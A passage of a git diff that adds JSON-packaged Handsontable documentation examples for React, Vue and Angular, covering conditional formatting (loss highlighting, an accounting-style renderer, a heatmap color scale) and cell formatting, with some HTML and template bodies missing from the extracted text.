    \n \n\n","/src/main.tsx":"import React from \"react\";\nimport { createRoot } from \"react-dom/client\";\nimport \"./styles.css\";\nimport App from \"./App\";\nconst root = createRoot(document.getElementById(\"example1\"));\nroot.render(React.createElement(App));","/src/App.tsx":"import { HotTable } from '@handsontable/react-wrapper';\nimport Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// register Handsontable's modules\nregisterAllModules();\n\nconst data = [\n ['Acme Corp', 4.2, 5.1, -1.3, 6.8],\n ['Vertex Industries', 12.5, 11.9, 13.2, 14],\n ['Harbor Analytics', -2.4, 0.8, 2.1, 3.5],\n ['Summit Logistics', 8.7, -3.2, 4.4, 5.9],\n ['Pioneer Foods', 1.1, 1.4, 0.9, -0.5],\n ['Meridian Retail', 6, 7.3, 8.1, 9.4],\n];\n\nconst ExampleComponent = () => {\n return (\n 0) {\n cellProperties.className = '';\n\n const value = data[row]?.[col];\n\n if (typeof value === 'number' && value < 0) {\n cellProperties.className = 'loss';\n } else if (typeof value === 'number' && value > 10) {\n cellProperties.className = 'strong-quarter';\n }\n }\n\n return cellProperties;\n }}\n />\n );\n};\n\nexport default ExampleComponent;","/src/styles.css":"#example1 .handsontable td.company-name {\n font-weight: 600;\n}\n\n#example1 .handsontable td.loss {\n color: #d81e2c;\n background: var(--ht-cell-error-background-color, rgba(216, 30, 44, 0.14));\n background: color-mix(in srgb, #d81e2c 16%, var(--ht-background-color, #ffffff));\n}\n\n#example1 .handsontable td.loss::before {\n content: \"▼ \";\n}\n\n#example1 .handsontable td.strong-quarter {\n color: #157a3d;\n font-weight: 600;\n}\n\nhtml[data-theme=\"dark\"] #example1 .handsontable td.loss {\n color: #ff5c70;\n background: color-mix(in srgb, #ff5c70 22%, var(--ht-background-color, #000000));\n}\n\nhtml[data-theme=\"dark\"] #example1 .handsontable td.strong-quarter {\n color: #22c55e;\n}"},"docsPath":"guides/cell-features/conditional-formatting/react/example1.tsx","breadcrumb":["Cell Features","Conditional formatting"],"guide":"guides/cell-features/conditional-formatting/conditional-formatting.md","guideTitle":"Conditional formatting","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/conditional-formatting","lang":"React (TS)"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-features__conditional-formatting__react__example2.tsx.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__conditional-formatting__react__example2.tsx.json new file mode 100644 index 00000000..05938a2e --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__conditional-formatting__react__example2.tsx.json @@ -0,0 +1 @@ +{"framework":"react","displayName":"Cell Features ▸ Conditional formatting · Format cells with a custom renderer · React (TS)","tier":1,"engine":"sandpack","sandpackTemplate":"react-ts","sandpackEnvironment":"create-react-app-typescript","container":null,"htWrappers":["@handsontable/react-wrapper"],"entry":"/src/main.tsx","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":6,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-react-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/react-wrapper\": \"0.0.0-next-64139ae-20260219\",\n \"react\": \"18.x\",\n \"react-dom\": \"18.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-react\": \"^4.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport react from \"@vitejs/plugin-react\";\n\nexport default defineConfig({ plugins: [react()] });","/index.html":"\n\n\n \n \n Handsontable React Example\n \n \n\n\n
    \n \n\n","/src/main.tsx":"import React from \"react\";\nimport { createRoot } from \"react-dom/client\";\nimport \"./styles.css\";\nimport App from \"./App\";\nconst root = createRoot(document.getElementById(\"example2\"));\nroot.render(React.createElement(App));","/src/App.tsx":"import { HotTable } from '@handsontable/react-wrapper';\nimport { registerAllModules } from 'handsontable/registry';\nimport { BaseRenderer, registerRenderer } from 'handsontable/renderers';\nimport { textRenderer } from 'handsontable/renderers/textRenderer';\n\n// register Handsontable's modules\nregisterAllModules();\n\nconst data = [\n ['Acme Corp', 4.2, 5.1, -1.3, 6.8],\n ['Vertex Industries', 12.5, 11.9, 13.2, 14],\n ['Harbor Analytics', -2.4, 0.8, 2.1, 3.5],\n ['Summit Logistics', 8.7, -3.2, 4.4, 5.9],\n ['Pioneer Foods', 1.1, 1.4, 0.9, -0.5],\n ['Meridian Retail', 6, 7.3, 8.1, 9.4],\n];\n\n// display losses in an accounting format, so color is not the only signal\nconst profitRenderer: BaseRenderer = (instance, td, row, col, prop, value, cellProperties) => {\n const amount = Number(value);\n\n td.classList.remove('loss-cell');\n\n if (!Number.isFinite(amount)) {\n textRenderer(instance, td, row, col, prop, value, cellProperties);\n\n return;\n }\n\n const formatted = amount < 0\n ? `($${Math.abs(amount).toFixed(1)}M)`\n : `$${amount.toFixed(1)}M`;\n\n textRenderer(instance, td, row, col, prop, formatted, cellProperties);\n\n if (amount < 0) {\n td.classList.add('loss-cell');\n }\n};\n\nregisterRenderer('profitRenderer', profitRenderer);\n\nconst ExampleComponent = () => {\n return (\n \n );\n};\n\nexport default ExampleComponent;","/src/styles.css":"#example2 .handsontable td.loss-cell {\n color: #d81e2c;\n font-weight: 600;\n}\n\nhtml[data-theme=\"dark\"] #example2 .handsontable td.loss-cell {\n color: #ff5c70;\n}"},"docsPath":"guides/cell-features/conditional-formatting/react/example2.tsx","breadcrumb":["Cell Features","Conditional formatting"],"guide":"guides/cell-features/conditional-formatting/conditional-formatting.md","guideTitle":"Conditional formatting","exampleId":"example2","exampleTitle":"Format cells with a custom renderer","docPermalink":"/conditional-formatting","lang":"React (TS)"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-features__conditional-formatting__react__example3.tsx.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__conditional-formatting__react__example3.tsx.json new file mode 100644 index 00000000..71c4b413 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__conditional-formatting__react__example3.tsx.json @@ -0,0 +1 @@ +{"framework":"react","displayName":"Cell Features ▸ Conditional formatting · Build a color scale · React (TS)","tier":1,"engine":"sandpack","sandpackTemplate":"react-ts","sandpackEnvironment":"create-react-app-typescript","container":null,"htWrappers":["@handsontable/react-wrapper"],"entry":"/src/main.tsx","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-react-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/react-wrapper\": \"0.0.0-next-64139ae-20260219\",\n \"react\": \"18.x\",\n \"react-dom\": \"18.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-react\": \"^4.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport react from \"@vitejs/plugin-react\";\n\nexport default defineConfig({ plugins: [react()] });","/index.html":"\n\n\n \n \n Handsontable React Example\n \n \n\n\n
    \n \n\n","/src/main.tsx":"import React from \"react\";\nimport { createRoot } from \"react-dom/client\";\nimport App from \"./App\";\nconst root = createRoot(document.getElementById(\"example3\"));\nroot.render(React.createElement(App));","/src/App.tsx":"import { HotTable } from '@handsontable/react-wrapper';\nimport { registerAllModules } from 'handsontable/registry';\nimport { BaseRenderer, registerRenderer } from 'handsontable/renderers';\nimport { textRenderer } from 'handsontable/renderers/textRenderer';\n\n// register Handsontable's modules\nregisterAllModules();\n\nconst data = [\n ['Acme Corp', 4.2, 5.1, -1.3, 6.8],\n ['Vertex Industries', 12.5, 11.9, 13.2, 14],\n ['Harbor Analytics', -2.4, 0.8, 2.1, 3.5],\n ['Summit Logistics', 8.7, -3.2, 4.4, 5.9],\n ['Pioneer Foods', 1.1, 1.4, 0.9, -0.5],\n ['Meridian Retail', 6, 7.3, 8.1, 9.4],\n];\n\n// shade the background from red (low) to green (high); the value stays visible\nconst heatmapRenderer: BaseRenderer = (instance, td, row, col, prop, value, cellProperties) => {\n textRenderer(instance, td, row, col, prop, value, cellProperties);\n\n const amount = Number(value);\n\n if (Number.isFinite(amount)) {\n const values = instance.getData()\n .flatMap((rowData) => rowData.slice(1))\n .map(Number)\n .filter((cellValue) => Number.isFinite(cellValue));\n const min = Math.min(...values);\n const max = Math.max(...values);\n const ratio = min === max ? 0.5 : (amount - min) / (max - min);\n const hue = Math.round(ratio * 120);\n\n td.style.background = `hsl(${hue}, 75%, 85%)`;\n td.style.color = '#1b1b1b';\n }\n};\n\nregisterRenderer('heatmapRenderer', heatmapRenderer);\n\nconst ExampleComponent = () => {\n return (\n \n );\n};\n\nexport default ExampleComponent;"},"docsPath":"guides/cell-features/conditional-formatting/react/example3.tsx","breadcrumb":["Cell Features","Conditional formatting"],"guide":"guides/cell-features/conditional-formatting/conditional-formatting.md","guideTitle":"Conditional formatting","exampleId":"example3","exampleTitle":"Build a color scale","docPermalink":"/conditional-formatting","lang":"React (TS)"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-features__conditional-formatting__vue__example1.vue.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__conditional-formatting__vue__example1.vue.json new file mode 100644 index 00000000..96efa99c --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__conditional-formatting__vue__example1.vue.json @@ -0,0 +1 @@ +{"framework":"vue","displayName":"Cell Features ▸ Conditional formatting · Standard example · Vue 3","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"vue","htWrappers":["@handsontable/vue3"],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":"pnpm exec vite --host 0.0.0.0 --port 5173","buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":5173,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-vue-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/vue3\": \"0.0.0-next-64139ae-20260219\",\n \"vue\": \"3.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-vue\": \"^5.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport vue from \"@vitejs/plugin-vue\";\n\nexport default defineConfig({ plugins: [vue()] });","/index.html":"\n\n\n \n \n Handsontable Vue Example\n \n\n\n
    \n \n\n","/src/main.ts":"import { createApp } from \"vue\";\nimport App from \"./App.vue\";\ncreateApp(App).mount(\"#example1\");","/src/App.vue":"\n\n\n\n"},"docsPath":"guides/cell-features/conditional-formatting/vue/example1.vue","breadcrumb":["Cell Features","Conditional formatting"],"guide":"guides/cell-features/conditional-formatting/conditional-formatting.md","guideTitle":"Conditional formatting","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/conditional-formatting","lang":"Vue 3"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-features__conditional-formatting__vue__example2.vue.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__conditional-formatting__vue__example2.vue.json new file mode 100644 index 00000000..45f36781 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__conditional-formatting__vue__example2.vue.json @@ -0,0 +1 @@ +{"framework":"vue","displayName":"Cell Features ▸ Conditional formatting · Format cells with a custom renderer · Vue 3","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"vue","htWrappers":["@handsontable/vue3"],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":"pnpm exec vite --host 0.0.0.0 --port 5173","buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":5173,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-vue-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/vue3\": \"0.0.0-next-64139ae-20260219\",\n \"vue\": \"3.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-vue\": \"^5.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport vue from \"@vitejs/plugin-vue\";\n\nexport default defineConfig({ plugins: [vue()] });","/index.html":"\n\n\n \n \n Handsontable Vue Example\n \n\n\n
    \n \n\n","/src/main.ts":"import { createApp } from \"vue\";\nimport App from \"./App.vue\";\ncreateApp(App).mount(\"#example2\");","/src/App.vue":"\n\n\n\n"},"docsPath":"guides/cell-features/conditional-formatting/vue/example2.vue","breadcrumb":["Cell Features","Conditional formatting"],"guide":"guides/cell-features/conditional-formatting/conditional-formatting.md","guideTitle":"Conditional formatting","exampleId":"example2","exampleTitle":"Format cells with a custom renderer","docPermalink":"/conditional-formatting","lang":"Vue 3"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-features__conditional-formatting__vue__example3.vue.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__conditional-formatting__vue__example3.vue.json new file mode 100644 index 00000000..d7e57841 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__conditional-formatting__vue__example3.vue.json @@ -0,0 +1 @@ +{"framework":"vue","displayName":"Cell Features ▸ Conditional formatting · Build a color scale · Vue 3","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"vue","htWrappers":["@handsontable/vue3"],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":"pnpm exec vite --host 0.0.0.0 --port 5173","buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":5173,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-vue-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/vue3\": \"0.0.0-next-64139ae-20260219\",\n \"vue\": \"3.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-vue\": \"^5.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport vue from \"@vitejs/plugin-vue\";\n\nexport default defineConfig({ plugins: [vue()] });","/index.html":"\n\n\n \n \n Handsontable Vue Example\n \n\n\n
    \n \n\n","/src/main.ts":"import { createApp } from \"vue\";\nimport App from \"./App.vue\";\ncreateApp(App).mount(\"#example3\");","/src/App.vue":"\n\n"},"docsPath":"guides/cell-features/conditional-formatting/vue/example3.vue","breadcrumb":["Cell Features","Conditional formatting"],"guide":"guides/cell-features/conditional-formatting/conditional-formatting.md","guideTitle":"Conditional formatting","exampleId":"example3","exampleTitle":"Build a color scale","docPermalink":"/conditional-formatting","lang":"Vue 3"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-features__formatting-cells__angular__example1.ts.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__formatting-cells__angular__example1.ts.json new file mode 100644 index 00000000..1064bb35 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__formatting-cells__angular__example1.ts.json @@ -0,0 +1 @@ +{"framework":"angular","displayName":"Cell Features ▸ Formatting cells · Standard example · Angular","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"angular","htWrappers":["@handsontable/angular-wrapper"],"entry":"/src/main.ts","htmlEntry":"/src/index.html","devCommand":"pnpm exec ng serve --host 0.0.0.0 --disable-host-check --port 3000","buildCommand":"ng build","outputDir":"dist","outputGlob":"dist/*/browser","staticExport":false,"spaMode":false,"port":3000,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":7,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-angular-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"scripts\": {\n \"ng\": \"ng\",\n \"start\": \"ng serve\",\n \"build\": \"ng build\"\n },\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/angular-wrapper\": \"0.0.0-next-64139ae-20260219\",\n \"@angular/animations\": \"21.x\",\n \"@angular/common\": \"21.x\",\n \"@angular/compiler\": \"21.x\",\n \"@angular/core\": \"21.x\",\n \"@angular/forms\": \"21.x\",\n \"@angular/platform-browser\": \"21.x\",\n \"@angular/platform-browser-dynamic\": \"21.x\",\n \"@angular/router\": \"21.x\",\n \"rxjs\": \"~7.8.0\",\n \"tslib\": \"^2.3.0\",\n \"zone.js\": \"~0.15.0\",\n \"@angular-devkit/build-angular\": \"21.x\",\n \"@angular/cli\": \"21.x\",\n \"@angular/compiler-cli\": \"21.x\",\n \"typescript\": \"~5.9.0\"\n },\n \"devDependencies\": {}\n}","/angular.json":"{\n \"$schema\": \"./node_modules/@angular/cli/lib/config/schema.json\",\n \"version\": 1,\n \"newProjectRoot\": \"projects\",\n \"projects\": {\n \"app\": {\n \"projectType\": \"application\",\n \"root\": \"\",\n \"sourceRoot\": \"src\",\n \"prefix\": \"app\",\n \"architect\": {\n \"build\": {\n \"builder\": \"@angular-devkit/build-angular:application\",\n \"options\": {\n \"outputPath\": \"dist/app\",\n \"index\": \"src/index.html\",\n \"browser\": \"src/main.ts\",\n \"polyfills\": [\n \"zone.js\"\n ],\n \"tsConfig\": \"tsconfig.json\",\n \"assets\": [],\n \"styles\": [],\n \"scripts\": []\n },\n \"configurations\": {\n \"development\": {\n \"optimization\": false,\n \"sourceMap\": true\n }\n },\n \"defaultConfiguration\": \"development\"\n },\n \"serve\": {\n \"builder\": \"@angular-devkit/build-angular:dev-server\",\n \"configurations\": {\n \"development\": {\n \"buildTarget\": \"app:build:development\"\n }\n },\n \"defaultConfiguration\": \"development\"\n }\n }\n }\n }\n}","/tsconfig.json":"{\n \"compilerOptions\": {\n \"outDir\": \"./dist/out-tsc\",\n \"strict\": true,\n \"noImplicitOverride\": true,\n \"noPropertyAccessFromIndexSignature\": true,\n \"noImplicitReturns\": true,\n \"noFallthroughCasesInSwitch\": true,\n \"skipLibCheck\": true,\n \"esModuleInterop\": true,\n \"sourceMap\": true,\n \"declaration\": false,\n \"experimentalDecorators\": true,\n \"moduleResolution\": \"bundler\",\n \"importHelpers\": true,\n \"target\": \"ES2022\",\n \"module\": \"ES2022\",\n \"useDefineForClassFields\": false,\n \"lib\": [\n \"ES2022\",\n \"dom\"\n ]\n },\n \"angularCompilerOptions\": {\n \"enableI18nLegacyMessageIdFormat\": false,\n \"strictInjectionParameters\": true,\n \"strictInputAccessModifiers\": true,\n \"strictTemplates\": true\n }\n}","/src/index.html":"\n\n\n \n Handsontable Angular Example\n \n \n \n\n\n
    \n \n
    \n\n","/src/main.ts":"import { bootstrapApplication } from '@angular/platform-browser';\nimport { registerAllModules } from 'handsontable/registry';\nimport { AppComponent } from './app/app.component';\nimport { appConfig } from './app/app.config';\n\nregisterAllModules();\n\nbootstrapApplication(AppComponent, appConfig).catch(err => console.error(err));","/src/app/app.component.ts":"import { Component, ViewEncapsulation } from '@angular/core';\nimport { GridSettings, HotTableModule } from '@handsontable/angular-wrapper';\n\n@Component({\n selector: 'example1-formatting-cells',\n standalone: true,\n imports: [HotTableModule],\n template: `
    \n \n
    `,\n styles: `hot-table td.custom-cell {\n color: #fff !important;\n background-color: #254ac6 !important;\n}\nhot-table .custom-table thead th:nth-child(even),\nhot-table .custom-table tbody tr:nth-child(odd) th {\n color: #fff !important;\n background-color: #254ac6 !important;\n}\n`,\n encapsulation: ViewEncapsulation.None,\n})\nexport class AppComponent {\n\n readonly data = [\n ['SKU-4821', 'Laptop Pro 15', 'Electronics', 149900, 42],\n ['SKU-0093', 'Wireless Mouse', 'Peripherals', 2999, 218],\n ['SKU-7712', 'USB-C Hub 7-port', 'Peripherals', 5499, 0],\n ['SKU-3305', 'Mech. Keyboard', 'Peripherals', 8999, 67],\n ['SKU-9140', '4K Monitor 27\"', 'Electronics', 34999, 15],\n ];\n\n readonly gridSettings: GridSettings = {\n rowHeaders: true,\n colHeaders: ['SKU', 'Product', 'Category', 'Price ($)', 'Stock'],\n stretchH: 'all',\n className: 'custom-table',\n cell: [\n {\n row: 0,\n col: 0,\n className: 'custom-cell',\n },\n ],\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true\n };\n}","/src/app/app.config.ts":"import { ApplicationConfig, provideZoneChangeDetection } from '@angular/core';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HOT_GLOBAL_CONFIG, HotGlobalConfig, NON_COMMERCIAL_LICENSE } from '@handsontable/angular-wrapper';\n\n// register Handsontable's modules\nregisterAllModules();\n\nexport const appConfig: ApplicationConfig = {\n providers: [\n provideZoneChangeDetection({ eventCoalescing: true }),\n {\n provide: HOT_GLOBAL_CONFIG,\n useValue: { license: NON_COMMERCIAL_LICENSE } as HotGlobalConfig,\n },\n ],\n};"},"docsPath":"guides/cell-features/formatting-cells/angular/example1.ts","breadcrumb":["Cell Features","Formatting cells"],"guide":"guides/cell-features/formatting-cells/formatting-cells.md","guideTitle":"Formatting cells","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/formatting-cells","lang":"Angular"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-features__formatting-cells__angular__example2.ts.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__formatting-cells__angular__example2.ts.json new file mode 100644 index 00000000..3fcbd9cd --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__formatting-cells__angular__example2.ts.json @@ -0,0 +1 @@ +{"framework":"angular","displayName":"Cell Features ▸ Formatting cells · Apply inline styles · Angular","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"angular","htWrappers":["@handsontable/angular-wrapper"],"entry":"/src/main.ts","htmlEntry":"/src/index.html","devCommand":"pnpm exec ng serve --host 0.0.0.0 --disable-host-check --port 3000","buildCommand":"ng build","outputDir":"dist","outputGlob":"dist/*/browser","staticExport":false,"spaMode":false,"port":3000,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":7,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-angular-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"scripts\": {\n \"ng\": \"ng\",\n \"start\": \"ng serve\",\n \"build\": \"ng build\"\n },\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/angular-wrapper\": \"0.0.0-next-64139ae-20260219\",\n \"@angular/animations\": \"21.x\",\n \"@angular/common\": \"21.x\",\n \"@angular/compiler\": \"21.x\",\n \"@angular/core\": \"21.x\",\n \"@angular/forms\": \"21.x\",\n \"@angular/platform-browser\": \"21.x\",\n \"@angular/platform-browser-dynamic\": \"21.x\",\n \"@angular/router\": \"21.x\",\n \"rxjs\": \"~7.8.0\",\n \"tslib\": \"^2.3.0\",\n \"zone.js\": \"~0.15.0\",\n \"@angular-devkit/build-angular\": \"21.x\",\n \"@angular/cli\": \"21.x\",\n \"@angular/compiler-cli\": \"21.x\",\n \"typescript\": \"~5.9.0\"\n },\n \"devDependencies\": {}\n}","/angular.json":"{\n \"$schema\": \"./node_modules/@angular/cli/lib/config/schema.json\",\n \"version\": 1,\n \"newProjectRoot\": \"projects\",\n \"projects\": {\n \"app\": {\n \"projectType\": \"application\",\n \"root\": \"\",\n \"sourceRoot\": \"src\",\n \"prefix\": \"app\",\n \"architect\": {\n \"build\": {\n \"builder\": \"@angular-devkit/build-angular:application\",\n \"options\": {\n \"outputPath\": \"dist/app\",\n \"index\": \"src/index.html\",\n \"browser\": \"src/main.ts\",\n \"polyfills\": [\n \"zone.js\"\n ],\n \"tsConfig\": \"tsconfig.json\",\n \"assets\": [],\n \"styles\": [],\n \"scripts\": []\n },\n \"configurations\": {\n \"development\": {\n \"optimization\": false,\n \"sourceMap\": true\n }\n },\n \"defaultConfiguration\": \"development\"\n },\n \"serve\": {\n \"builder\": \"@angular-devkit/build-angular:dev-server\",\n \"configurations\": {\n \"development\": {\n \"buildTarget\": \"app:build:development\"\n }\n },\n \"defaultConfiguration\": \"development\"\n }\n }\n }\n }\n}","/tsconfig.json":"{\n \"compilerOptions\": {\n \"outDir\": \"./dist/out-tsc\",\n \"strict\": true,\n \"noImplicitOverride\": true,\n \"noPropertyAccessFromIndexSignature\": true,\n \"noImplicitReturns\": true,\n \"noFallthroughCasesInSwitch\": true,\n \"skipLibCheck\": true,\n \"esModuleInterop\": true,\n \"sourceMap\": true,\n \"declaration\": false,\n \"experimentalDecorators\": true,\n \"moduleResolution\": \"bundler\",\n \"importHelpers\": true,\n \"target\": \"ES2022\",\n \"module\": \"ES2022\",\n \"useDefineForClassFields\": false,\n \"lib\": [\n \"ES2022\",\n \"dom\"\n ]\n },\n \"angularCompilerOptions\": {\n \"enableI18nLegacyMessageIdFormat\": false,\n \"strictInjectionParameters\": true,\n \"strictInputAccessModifiers\": true,\n \"strictTemplates\": true\n }\n}","/src/index.html":"\n\n\n \n Handsontable Angular Example\n \n \n \n\n\n
    \n \n
    \n\n","/src/main.ts":"import { bootstrapApplication } from '@angular/platform-browser';\nimport { registerAllModules } from 'handsontable/registry';\nimport { AppComponent } from './app/app.component';\nimport { appConfig } from './app/app.config';\n\nregisterAllModules();\n\nbootstrapApplication(AppComponent, appConfig).catch(err => console.error(err));","/src/app/app.component.ts":"import { Component } from '@angular/core';\nimport { GridSettings, HotTableModule } from '@handsontable/angular-wrapper';\nimport Handsontable from 'handsontable/base';\nimport { registerRenderer, textRenderer } from 'handsontable/renderers';\n\nregisterRenderer('customStylesRenderer', (hotInstance: Handsontable, TD: HTMLTableCellElement, row: number, col: number, prop: string | number, value: unknown, cellProperties: Handsontable.CellProperties) => {\n textRenderer(hotInstance, TD, row, col, prop, value, cellProperties);\n\n TD.style.fontWeight = 'bold';\n TD.style.color = 'green';\n TD.style.background = '#d7f1e1';\n});\n\n@Component({\n selector: 'example2-formatting-cells',\n standalone: true,\n imports: [HotTableModule],\n template: `
    \n \n
    `,\n})\nexport class AppComponent {\n\n readonly data = [\n ['SKU-4821', 'Laptop Pro 15', 'Electronics', 149900, 42],\n ['SKU-0093', 'Wireless Mouse', 'Peripherals', 2999, 218],\n ['SKU-7712', 'USB-C Hub 7-port', 'Peripherals', 5499, 0],\n ['SKU-3305', 'Mech. Keyboard', 'Peripherals', 8999, 67],\n ['SKU-9140', '4K Monitor 27\"', 'Electronics', 34999, 15],\n ];\n\n readonly gridSettings: GridSettings = {\n rowHeaders: true,\n colHeaders: ['SKU', 'Product', 'Category', 'Price ($)', 'Stock'],\n stretchH: 'all',\n cell: [\n {\n row: 0,\n col: 0,\n renderer: 'customStylesRenderer',\n },\n ],\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true\n };\n}","/src/app/app.config.ts":"import { ApplicationConfig, provideZoneChangeDetection } from '@angular/core';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HOT_GLOBAL_CONFIG, HotGlobalConfig, NON_COMMERCIAL_LICENSE } from '@handsontable/angular-wrapper';\n\n// register Handsontable's modules\nregisterAllModules();\n\nexport const appConfig: ApplicationConfig = {\n providers: [\n provideZoneChangeDetection({ eventCoalescing: true }),\n {\n provide: HOT_GLOBAL_CONFIG,\n useValue: { license: NON_COMMERCIAL_LICENSE } as HotGlobalConfig,\n },\n ],\n};"},"docsPath":"guides/cell-features/formatting-cells/angular/example2.ts","breadcrumb":["Cell Features","Formatting cells"],"guide":"guides/cell-features/formatting-cells/formatting-cells.md","guideTitle":"Formatting cells","exampleId":"example2","exampleTitle":"Apply inline styles","docPermalink":"/formatting-cells","lang":"Angular"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-features__formatting-cells__angular__example3.ts.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__formatting-cells__angular__example3.ts.json new file mode 100644 index 00000000..c991c179 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__formatting-cells__angular__example3.ts.json @@ -0,0 +1 @@ +{"framework":"angular","displayName":"Cell Features ▸ Formatting cells · Custom cell borders · Angular","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"angular","htWrappers":["@handsontable/angular-wrapper"],"entry":"/src/main.ts","htmlEntry":"/src/index.html","devCommand":"pnpm exec ng serve --host 0.0.0.0 --disable-host-check --port 3000","buildCommand":"ng 